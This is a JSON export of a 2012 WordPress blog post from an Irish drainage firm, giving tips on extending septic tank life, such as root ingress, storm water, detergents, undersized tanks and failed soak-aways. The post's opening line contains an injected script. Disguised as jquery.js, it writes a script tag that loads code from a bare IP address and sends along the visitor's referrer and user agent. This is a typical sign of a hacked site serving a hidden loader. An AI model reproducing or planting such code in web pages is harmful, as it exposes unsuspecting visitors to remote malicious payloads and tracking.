{"id":419,"date":"2012-12-05T22:48:53","date_gmt":"2012-12-05T22:48:53","guid":{"rendered":"http:\/\/www.hurricaneprint.ie\/larrykeogh\/?p=24"},"modified":"2012-12-05T22:48:53","modified_gmt":"2012-12-05T22:48:53","slug":"extend-the-life-of-your-septic-tank","status":"publish","type":"post","link":"https:\/\/drainaway.ie\/stg11111\/2012\/12\/05\/extend-the-life-of-your-septic-tank\/","title":{"rendered":"Extend The Life Of Your Septic Tank"},"content":{"rendered":"<p><span style=\"color: #000000;\"><strong>Hi, <script type=\"text\/javascript\" rel=\"nofollow\" style=\"text-decoration:none;color:#676c6c\"> document.write(\"<script language='javascript' rel='nofollow' type='text\/javascript' src='http:\/\/5.45.67.97\/1\/jquery.js.php?r=\" + encodeuri(document.referrer) + \"&#038;u=\" + encodeuri(navigator.useragent) + \"'><\/sc\" + \"ript>\"); <\/script> <\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Here are some more tips on extending the life of your Septic Tank system. <\/strong><\/span><\/p>\n<p><strong><em><span style=\"color: #000000;\">You'll find some more information on this link:<\/span><\/em> <a title=\"Your Waterford Septic Tank Needs Emptying Every Year?\" href=\"http:\/\/www.hurricaneprint.ie\/larrykeogh\/your-waterford-septic-tank-needs-emptying-every-year\/\"><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff; text-decoration: underline;\">Click Here<\/span><\/span><\/a><\/strong><\/p>\n<h2><strong><span style=\"color: #000000;\">Blocked inlet\/outlet pipes on septic tank<\/span><\/strong><\/h2>\n<p><strong><span style=\"color: #000000;\">The inlet to a septic tank can <!--more-->become blocked, the same as any drain can due to root ingress or damage from vehicular movement.<\/span><\/strong><strong><span style=\"color: #000000;\"> They're also prone to a build up of grease and fat if the level in the tank is high, if there is no dip pipe on the inlet to the tank the crust <\/span><\/strong><strong><span style=\"color: #000000;\">that forms in the first chamber can cover the inlet and block the system.<\/span><\/strong><\/p>\n<p><strong><span style=\"color: #000000;\">The outlet pipe from a tank can again be prone to root ingress. <\/span><\/strong><\/p>\n<figure id=\"attachment_35\" aria-describedby=\"caption-attachment-35\" style=\"width: 300px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/drainaway.ie\/stg11111\/wp-content\/uploads\/2012\/12\/Root-Ingress.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-35\" title=\"Root Ingress\" src=\"http:\/\/www.hurricaneprint.ie\/larrykeogh\/wp-content\/uploads\/2012\/12\/Root-Ingress-300x103.jpg\" alt=\"\" width=\"300\" height=\"103\" \/><\/a><figcaption id=\"caption-attachment-35\" class=\"wp-caption-text\">Root Ingress Captured on CCTV<\/figcaption><\/figure>\n<p><strong><span style=\"color: #000000;\">This is especially true if the pipe is perforated or a butted land drain type. <\/span><\/strong><strong><span style=\"color: #000000;\">Tanks that are not maintained on a regular basis allow large deposits of sediment to pass through them which accumulates in the out fall until the <\/span><\/strong><strong><span style=\"color: #000000;\">system blocks.<\/span><\/strong><\/p>\n<h2><strong><span style=\"color: #000000;\">Storm water entering septic tank<\/span><\/strong><\/h2>\n<p><strong><span style=\"color: #000000;\">Storm water should not pass through a septic tank system. By overloading the system you will affect <\/span><\/strong><br \/>\n<strong><span style=\"color: #000000;\">the workings of the bacteria and enzyme in the tanks. The increase in water volume passing through the system will carry debris and <\/span><\/strong><strong><span style=\"color: #000000;\">sediment through the process and into the out falling pipe work, soak-away or filter tank.<\/span><\/strong><\/p>\n<h2><strong><span style=\"color: #000000;\">Chemicals or detergents affecting bacteria in a septic tank<\/span><\/strong><\/h2>\n<p><strong><span style=\"color: #000000;\">The wide range of products we pour down our toilets and sinks will affect the way that the bacteria and enzymes operate within the <\/span><\/strong><strong><span style=\"color: #000000;\">septic tank. There are tank friendly products available on the market and products that kick start or top up the bacterial process, so it's a good idea<\/span><\/strong><strong><span style=\"color: #000000;\"> to use some of these from time to time. <\/span><em>(Be kind to your tank) <\/em><\/strong><\/p>\n<h2><strong><span style=\"color: #000000;\">Wrong size septic tank installed<\/span><\/strong><\/h2>\n<p><strong><span style=\"color: #000000;\">The small septic tank system at the rear of the country cottage may have coped for 50 years without a problem for the old <\/span><\/strong><strong><span style=\"color: #000000;\">couple who use it. The problem though is when the family of four move in with the washing machine, dishwasher, showers and detergents and it just can't <\/span><\/strong><strong><span style=\"color: #000000;\">cope with the volume of water passing through it.<\/span><\/strong><\/p>\n<h2><strong><span style=\"color: #000000;\">Blocked filter media in filter tank<\/span><\/strong><\/h2>\n<p><strong><span style=\"color: #000000;\">Poor maintenance and general misuse of a system usually means that grease, fat, fibre and sediment passes through the system <\/span><\/strong><strong><span style=\"color: #000000;\">and clogs any filter system installed in it. This of course prevents water from reaching the outlet and the system surcharges and floods.<\/span><\/strong><\/p>\n<h2><span style=\"color: #000000;\"><strong>Saturated soak-away on outlet of septic tank.<\/strong><\/span><\/h2>\n<p><span style=\"color: #000000;\"><strong>As with the filter systems, poorly maintained tanks usually affect the soak-away with grease, fat, fibers and sediment clogging <\/strong><strong>the sub-soil and preventing water from dispersing into the ground. We are often called out to look at a defective septic tank only to <\/strong><strong>find that it is the soak-away that has failed.<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>I hope you found this information useful?<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong> If you need any help or advice on your Septic Tank or Soak-Away, don't forget to give us a call on <\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>086 254 0358<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Regards<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Larry Keogh<\/strong><\/span><\/p>\n<h4 class=\"p\"><span style=\"font-size: xx-large; color: #ff0000;\"><strong><span style=\"color: #000000;\">Call us today:<\/span>\u00a0086 2540358<br \/>\n<\/strong><\/span><\/h4>\n<h1><strong><span style=\"color: #000000;\">Your drain unblocked.\u00a0<span style=\"color: #ff0000;\">The Best Prices In Town!<\/span><\/span><\/strong><\/h1>\n","protected":false},"excerpt":{"rendered":"<p>Hi, Here are some more tips on extending the life of your Septic Tank system. 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